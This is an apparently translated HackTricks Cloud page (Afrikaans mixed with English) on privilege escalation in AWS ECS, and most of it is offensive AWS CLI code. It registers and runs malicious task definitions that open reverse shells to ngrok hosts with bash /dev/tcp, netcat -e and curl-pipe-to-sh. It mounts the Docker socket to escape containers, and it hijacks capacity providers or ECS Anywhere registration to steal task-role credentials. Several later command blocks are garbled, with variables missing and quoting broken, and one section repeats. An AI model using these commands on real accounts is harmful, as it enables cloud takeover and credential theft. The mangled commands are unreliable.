AWS - ECS Privesc
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
ECS
Meer inligting oor ECS in:
iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask
ân aanvaller wat misbruik maak van die iam:PassRole, ecs:RegisterTaskDefinition en ecs:RunTask toestemming in ECS kan ân nuwe task definition genereer met ân kwaadaardige container wat die metadata credentials steel en dit uitvoer.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Potential Impact: Direkte privesc na ân ander ECS role.
iam:PassRole,ecs:RunTask
ân aanvaller wat iam:PassRole en ecs:RunTask permissies het, kan ân nuwe ECS taak begin met gewysigde execution role, task role en die houer se command waardes. Die ecs run-task CLI command bevat die --overrides vlag wat toelaat om tydens runtime die executionRoleArn, taskRoleArn en die houer se command te verander sonder om die task definition aan te raak.
Die gespesifiseerde IAM rolle vir taskRoleArn en executionRoleArn moet vertrou/toelaat om deur die ecs-tasks.amazonaws.com aangegaan te word in sy trust policy.
Verder moet die aanvaller weet:
- ECS cluster naam
- VPC Subnet
- Security group (Indien geen security group gespesifiseer is, sal die standaard een gebruik word)
- Task Definition Name en revision
- Naam van die Container
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
In die kodefragment hierbo oorskryf ân aanvaller slegs die waarde van taskRoleArn. Die aanvaller moet egter die iam:PassRole-permisisie hĂȘ oor die taskRoleArn wat in die opdrag gespesifiseer is en oor die executionRoleArn wat in die taakdefinisie gespesifiseer is, sodat die aanval kan plaasvind.
As die IAM-rol wat die aanvaller kan deurgee voldoende voorregte het om ân ECR-image te trek en die ECS-taak te begin (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer,ecr:BatchGetImage,ecr:GetAuthorizationToken) kan die aanvaller dieselfde IAM-rol vir beide executionRoleArn en taskRoleArn in die ecs run-task opdrag spesifiseer.
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
Potensiële impak: Direkte privesc na enige ECS taakrol.
iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask
Net soos in die vorige voorbeeld kan ân aanvaller wat misbruik maak van die iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask permissies in ECS ân nuwe taakdefinisie genereer met ân kwaadwillige container wat die metadata credentials steel en dit laat loop.
Echter, in hierdie geval moet ân container-instansie beskikbaar wees om die kwaadwillige taakdefinisie te laat loop.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Potensiële impak: Direkte privesc tot enige ECS role.
iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)
Net soos in die vorige voorbeeld kan ân aanvaller wat misbruik maak van die iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService of ecs:CreateService permissies in ECS ân nuwe task definition genereer met ân malicious container wat die metadata credentials steel en dit laat loop deur ân nuwe service te skep met ten minste 1 task wat hardloop.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
Potensiële impak: Direkte privesc na enige ECS-rol.
iam:PassRole, (ecs:UpdateService|ecs:CreateService))
In werklikheid, net met daardie bevoegdhede is dit moontlik om overrides te gebruik om willekeurige kommandoâs in ân container as ân willekeurige rol uit te voer met iets soos:
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
Potential Impact: Direkte privesc na enige ECS role.
ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
Hierdie scenario is soos die vorige, maar zonder die iam:PassRole permissie.
Dit is steeds interessant omdat as jy ân arbitrĂȘre container kan uitvoer, selfs al is dit sonder ân rol, kan jy run a privileged container to escape na die node en steal the EC2 IAM role en die other ECS containers roles wat op die node loop, steel.
Jy kan selfs force other tasks to run inside the EC2 instance wat jy kompromitteer om hul credentials te steel (soos bespreek in die Privesc to node section).
Warning
Hierdie aanval is slegs moontlik as die ECS cluster is using EC2 instances en nie Fargate nie.
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json
printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json
aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2
# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
Een aanvaller met die ecs:ExecuteCommand, ecs:DescribeTasks kan kommandoâs uitvoer binne ân lopende container en die IAM-rol wat daaraan gekoppel is uittrek (jy het die describe-permissies nodig omdat dit nodig is om aws ecs execute-command uit te voer).
Ewenwel, om dit te kan doen, moet die container-instansie die ExecuteCommand agent laat loop (wat standaard nie aan is nie).
Daarom kan die aanvaller probeer:
- Probeer om ân kommando in elke lopende container uit te voer
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo " Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done
# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
- As hy
ecs:RunTaskhet, voer ân taak uit metaws ecs run-task --enable-execute-command [...] - As hy
ecs:StartTaskhet, voer ân taak uit metaws ecs start-task --enable-execute-command [...] - As hy
ecs:CreateServicehet, skep ân service metaws ecs create-service --enable-execute-command [...] - As hy
ecs:UpdateServicehet, werk ân service by metaws ecs update-service --enable-execute-command [...]
Jy kan voorbeelde van daardie opsies vind in vorige ECS privesc-afdelings.
Potential Impact: Privesc na ân ander rol wat aan containers gekoppel is.
ssm:StartSession
Kyk op die ssm privesc page hoe jy hierdie permissie kan misbruik om privesc na ECS:
iam:PassRole, ec2:RunInstances
Kyk op die ec2 privesc page hoe jy hierdie permissies kan misbruik om privesc na ECS:
ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole
ân Aanvaller met hierdie permissies kan moontlik ân EC2-instansie in ân ECS-kluster registreer en take daarop laat loop. Dit kan die aanvaller toelaat om willekeurige kode binne die konteks van die ECS-take uit te voer.
- TODO: Is dit moontlik om ân instansie vanaf ân ander AWS-rekening te registreer sodat take op masjiene wat deur die aanvaller beheer word, uitgevoer word??
ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets
Note
TODO: Toets dit
ân Aanvaller met die permissies ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, en ecs:DescribeTaskSets kan ân kwaadaardige task set vir ân bestaande ECS-diens skep en die primĂȘre task set opdateer. Dit stel die aanvaller in staat om willekeurige kode binne die diens uit te voer.
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json
aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
PotensiĂ«le impak: Voer arbitrĂȘre kode uit in die aangetaste diens, wat moontlik die funksionaliteit beĂŻnvloed of sensitiewe data eksfiltreer.
Verwysings
Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
An aanvaller met permissies om ECS capacity providers te bestuur en services op te dateer kan ân EC2 Auto Scaling Group wat hulle beheer skep, dit in ân ECS Capacity Provider verpak, dit aan die teiken-cluster koppel en ân slagoffer-service migreer om hierdie provider te gebruik. Tasks sal dan op aanvaller-beheerde EC2-instanse geskeduleer word, wat OS-vlak toegang moontlik maak om containers te inspekteer en task role credentials te steel.
Commands (us-east-1):
-
Vereistes
-
Create Launch Template for ECS agent to join target cluster
-
Create Auto Scaling Group
-
Create Capacity Provider from the ASG
-
Associate the Capacity Provider to the cluster (optionally as default)
-
Migrate a service to your provider
-
Verify tasks land on attacker instances
-
Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
-
Cleanup
Potensiële impak: Aanvaller-beheerde EC2-node ontvang slagoffer-tasks, wat OS-vlak toegang tot containers en diefstal van task IAM role credentials moontlik maak.
Step-by-step commands (copy/paste)
export AWS_DEFAULT_REGION=us-east-1 CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster # Instance profile for ECS nodes aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || trueVPC=vpc-18e6ac62 SUBNETS=
AMI=ami-0b570770164588ab4 USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo= LT_ID=
ASG_ARN=
CP_NAME=htcp-8797 aws ecs create-capacity-provider âname âauto-scaling-group-provider âautoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLEDâ aws ecs put-cluster-capacity-providers âcluster ââ âcapacity-providers âdefault-capacity-provider-strategy capacityProvider=,weight=1
SVC=
Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service âcluster ââ âservice ââ âcapacity-provider-strategy capacityProvider=,weight=1 âforce-new-deployment
TASK= CI= aws ecs describe-container-instances âcluster ââ âcontainer-instances ââ âquery containerInstances[0].ec2InstanceId âoutput text
Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
Misbruik ECS Anywhere om ân aanvaller-beheerde gasheer as ân EXTERNAL container instance in ân slagoffer ECS cluster te registreer en tasks op daardie gasheer te laat loop met bevoorregte task en execution rolle. Dit gee OS-vlak beheer oor waar tasks loop (jou eie masjien) en maak dit moontlik om credentials/data van tasks en aangehegte volumes te steel sonder om capacity providers of ASGs aan te raak.
-
Vereiste perms (voorbeeld minimum):
-
ecs:CreateCluster (opsioneel), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
-
ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
-
iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (vir die ECS Anywhere instance role en task/execution rolle)
-
logs:CreateLogGroup/Stream, logs:PutLogEvents (as jy awslogs gebruik)
-
Impak: Hardloop arbitrĂȘre containers met geselekteerde taskRoleArn op aanvaller-gasheer; eksfiltreer task-role credentials vanaf 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; toegang tot enige volumes wat deur tasks gemount is; subtieler as die manipulasie van capacity providers/ASGs.
Stappe
- Skep/identifiseer cluster (us-east-1)
aws ecs create-cluster --cluster-name ht-ecs-anywhere
- Skep ECS Anywhere-rol en SSM-aktivering (vir on-prem/EXTERNAL instansie)
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
- Voorzie aanvaller-gasheer en registreer dit outomaties as EXTERNAL (voorbeeld: klein AL2 EC2 as âonâpremâ)
user-data.sh
```bash #!/bin/bash set -euxo pipefail amazon-linux-extras enable docker || true yum install -y docker curl jq systemctl enable --now docker curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" chmod +x /root/ecs-anywhere-install.sh /root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 ```task def (EXTERNAL launch)
cat > td-external.json << âJSONâ
{
âfamilyâ: âht-externalâ,
ârequiresCompatibilitiesâ: [ âEXTERNALâ ],
ânetworkModeâ: âbridgeâ,
âmemoryâ: â256â,
âcpuâ: â128â,
âexecutionRoleArnâ: âarn:aws:iam::
âcontainer-instances $CI
6) Van hier af beheer jy die host wat die tasks uitvoer. Jy kan task logs lees (as awslogs) of direk op die host exec om credentials/data te exfiltrate vanaf jou tasks.
#### Command voorbeeld (plaashouers)
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
An attacker met permissies om ECS capacity providers te bestuur en services op te dateer, kan 'n EC2 Auto Scaling Group skep wat hulle beheer, dit in 'n ECS Capacity Provider inpak, dit aan die teiken cluster koppel, en 'n victim service migreer om hierdie provider te gebruik. Tasks sal dan op attacker-controlled EC2 instances geskeduleer word, wat OS-vlak toegang tot containers en diefstal van task role credentials moontlik maak.
Opdragte (us-east-1):
- Vereistes
- Skep 'n Launch Template sodat die ECS agent by die teiken cluster kan aansluit
- Skep Auto Scaling Group
- Skep Capacity Provider vanaf die ASG
- Koppel die Capacity Provider aan die cluster (opsioneel as standaard)
- Migreer 'n service na jou provider
- Verifieer dat tasks op attacker instances land
- Opsioneel: Vanaf die EC2 node, gebruik docker exec in die target containers en lees http://169.254.170.2 om die task role credentials te bekom.
- Opruiming
**Potential Impact:** Attacker-controlled EC2 nodes ontvang victim tasks, wat OS-level toegang tot containers moontlik maak en diefstal van task IAM role credentials.
> [!TIP]
> Leer en oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer en oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Leer en oefen Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** đŹ [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

